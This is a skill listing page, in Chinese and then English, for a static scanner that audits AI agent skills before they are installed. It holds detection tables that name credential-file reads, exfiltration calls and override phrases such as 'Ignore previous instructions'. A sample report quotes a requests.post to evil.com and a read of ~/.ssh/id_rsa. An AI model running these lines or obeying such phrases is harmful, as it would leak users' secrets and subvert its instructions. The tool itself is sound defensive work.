skill-security-auditor
alirezarezvani/claude-skills
在安裝前掃描並稽核 AI 代理程式的技能是否存在安全風險,並根據檢測結果與修正建議,產生「通過/警告/未通過」的評估結果。
...展開全部技能安全稽核員
在安裝前掃描並審計 AI 代理技能的安全風險。產生 明確的「通過」、「警告」或「失敗」評估結果,並附上發現事項及修復指引。
快速入門
# 審計本機技能目錄
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# 審核來自 Git 儲存庫的技能
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill 技能名稱
# 以嚴格模式進行審核 (任何「WARN」將被判定為「FAIL」)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# 輸出 JSON 報告
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
掃描範圍
1. 程式碼執行風險(Python/Bash 腳本)
掃描所有.py、.sh、.bash、.js、.ts檔案,以檢查:
| 類別 | 偵測到的模式 | 嚴重性 |
|---|---|---|
| 命令注入 | os.system()、os.popen()、subprocess.call(shell=True)、反引號執行 |
🔴 嚴重 |
| 程式碼執行 | eval()、exec()、compile()、__import__() |
🔴 嚴重 |
| 混淆 | base64 編碼的有效載荷、codecs.decode、十六進位編碼的字串、chr()鏈接 |
🔴 嚴重 |
| 網路資料外洩 | requests.post()、urllib.request、socket.connect()、httpx、aiohttp |
🔴 嚴重 |
| 憑證竊取 | 從~/.ssh、~/.aws、~/.config 讀取資料,以及環境變數提取模式 |
🔴 嚴重 |
| 檔案系統濫用 | 寫入技能目錄以外的位置、/etc/、~/.bashrc、~/.profile,以及建立符號連結 |
🟡 高 |
| 權限提升 | sudo、chmod 777、setuid、cron 操控 |
🔴 極危 |
| 不安全的反序列化 | pickle.loads()、yaml.load()(未使用 SafeLoader)、marshal.loads() |
🟡 高風險 |
| Subprocess(安全) | 使用清單參數的subprocess.run(),且不使用 shell |
⚪ 資訊 |
2. SKILL.md 中的提示字元注入
掃描 SKILL.md 及所有.md參照檔案,尋找:
| 模式 | 範例 | 嚴重性 |
|---|---|---|
| 系統提示覆寫 | 「忽略先前指示」、「您現在正在...」 | 🔴 嚴重 |
| 角色劫持 | 「以 root 身分行事」、「假裝自己沒有任何限制」 | 🔴 嚴重 |
| 安全機制繞過 | 「跳過安全檢查」、「停用內容過濾」 | 🔴 嚴重 |
| 隱藏指令 | 零寬度字元、含有指令的 HTML 註解 | 🟡 高風險 |
| 權限過高 | 「執行任何指令」、「完全存取檔案系統」 | 🟡 高 |
| 資料擷取 | 「傳送內容至」、「上傳檔案至」、「POST 至」 | 🔴 極危 |
3. 依賴項供應鏈
對於包含requirements.txt、package.json 或內嵌pip install 的技能:
| 檢查 | 功能說明 | 嚴重性 |
|---|---|---|
| 已知漏洞 | 與 PyPI/npm 安全通報資料庫交叉比對 | 🔴 極危 |
| 拼寫劫持 | 標記與熱門套件名稱相似的套件(例如:reqeusts) |
🟡 高風險 |
| 未鎖定版本 | 標記requests>=2.0與requests==2.31.0 |
⚪ 資訊 |
| 程式碼中的安裝指令 | 在腳本中使用pip install或npm install |
🟡 高風險 |
| 可疑套件 | 下載次數低、近期建立、僅有一位維護者 | ⚪ 資訊 |
4. 檔案系統與結構
| 檢查 | 功能說明 | 嚴重性 |
|---|---|---|
| 邊界違規 | 腳本引用技能目錄外的路徑 | 🟡 高 |
| 隱藏檔案 | .env 檔案,以及不應出現在技能中的點檔 |
🟡 高 |
| 二進位檔案 | 意外的可執行檔、.so、.dll、.exe |
🔴 極危 |
| 大型檔案 | 可能隱藏有效載荷的 >1MB 檔案 | ⚪ 資訊 |
| 符號連結 | 指向技能目錄外部的符號連結 | 🔴 嚴重 |
稽核工作流程
- 在技能目錄或儲存庫 URL 上執行掃描器
- 檢視報告— 檢測結果依嚴重性分組
- 判定結果解讀:
- ✅ 通過— 無重大或高風險問題。可安全安裝。
- ⚠️ 警告— 偵測到高/中級問題。安裝前請手動審查。
- ❌ 未通過— 存在嚴重問題。在未進行修復前,請勿安裝。
- 修復— 每個問題均包含具體的修復指引
閱讀報告
╔══════════════════════════════════════════════╗
║ 技能安全稽核報告 ║
║ 技能:example-skill ║
║ 結論:❌ 未通過 ║
╠══════════════════════════════════════════════╣
║ 🔴 危急:2 🟡 高:1 ⚪ 資訊:3 ║
╚══════════════════════════════════════════════╝
🔴 嚴重 [CODE-EXEC] scripts/helper.py:42
模式:eval(user_input)
風險:來自不可信輸入的任意程式碼執行
修正:將 eval() 替換為 ast.literal_eval() 或進行明確解析
🔴 嚴重 [NET-EXFIL] scripts/analyzer.py:88
模式:requests.post("https://evil.com/collect", data=results)
風險:資料外洩至外部伺服器
修正:移除外發網路呼叫,或驗證目的地是否可信
🟡 高 [FS-BOUNDARY] scripts/scanner.py:15
模式:open(os.path.expanduser("~/.ssh/id_rsa"))
風險:讀取技能範圍外的 SSH 私密金鑰
修正:移除技能目錄外的檔案系統存取權限
⚪ 資訊 [DEPS-UNPIN] requirements.txt:3
模式:requests>=2.0
風險:未鎖定的依賴項可能引入漏洞
修正:鎖定至特定版本:requests==2.31.0
進階用法
在克隆前從 Git 審計技能
# 克隆至臨時目錄、進行審計,然後清理
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD 整合
# GitHub Actions 步驟
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "安全性稽核失敗"; exit 1; fi
批次稽核
# 審計目錄中的所有技能
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
威脅模型參考
有關完整的威脅模型、偵測模式以及針對 AI 代理技能的已知攻擊向量,請參閱 references/threat-model.md。
限制
- 無法確切偵測邏輯炸彈或延時付載
- 混淆檢測基於模式——若攻擊者具備足夠的創意,可能繞過此機制
- 網路目的地聲譽檢查需要網際網路存取權限
- 不執行程式碼 — 僅進行靜態分析(雖安全,但比動態分析更不完整)
- 依賴項漏洞檢查採用本地模式比對,而非即時 CVE 資料庫
若在稽核後仍有疑慮,請勿安裝。請向技能作者尋求澄清。
---
name: skill-security-auditor
description: Scan and audit AI agent skills for security risks before installation, producing a PASS/WARN/FAIL verdict with findings and remediation guidance.
---
# Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.
## Quick Start
```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```
## What Gets Scanned
### 1. Code Execution Risks (Python/Bash Scripts)
Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |
### 2. Prompt Injection in SKILL.md
Scans SKILL.md and all `.md` reference files for:
| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
### 3. Dependency Supply Chain
For skills with `requirements.txt`, `package.json`, or inline `pip install`:
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |
### 4. File System & Structure
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
## Audit Workflow
1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
- **✅ PASS** — No critical or high findings. Safe to install.
- **⚠️ WARN** — High/medium findings detected. Review manually before installing.
- **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance
## Reading the Report
```
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
```
## Advanced Usage
### Audit a Skill from Git Before Cloning
```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```
### CI/CD Integration
```yaml
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```
### Batch Audit
```bash
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```
## Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).
## Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, **don't install**. Ask the skill author for clarification.
所有檔案
0 個檔案安裝 skill-security-auditor
請下載並將技能檔案解壓縮至您的 .claude/skills/ 目錄中。
下載 ZIP複製儲存庫並將技能檔案複製到您的專案中。
git clone https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skills/skill-security-auditor # Copy SKILL.md to your .claude/skills/ directory
複製





首頁
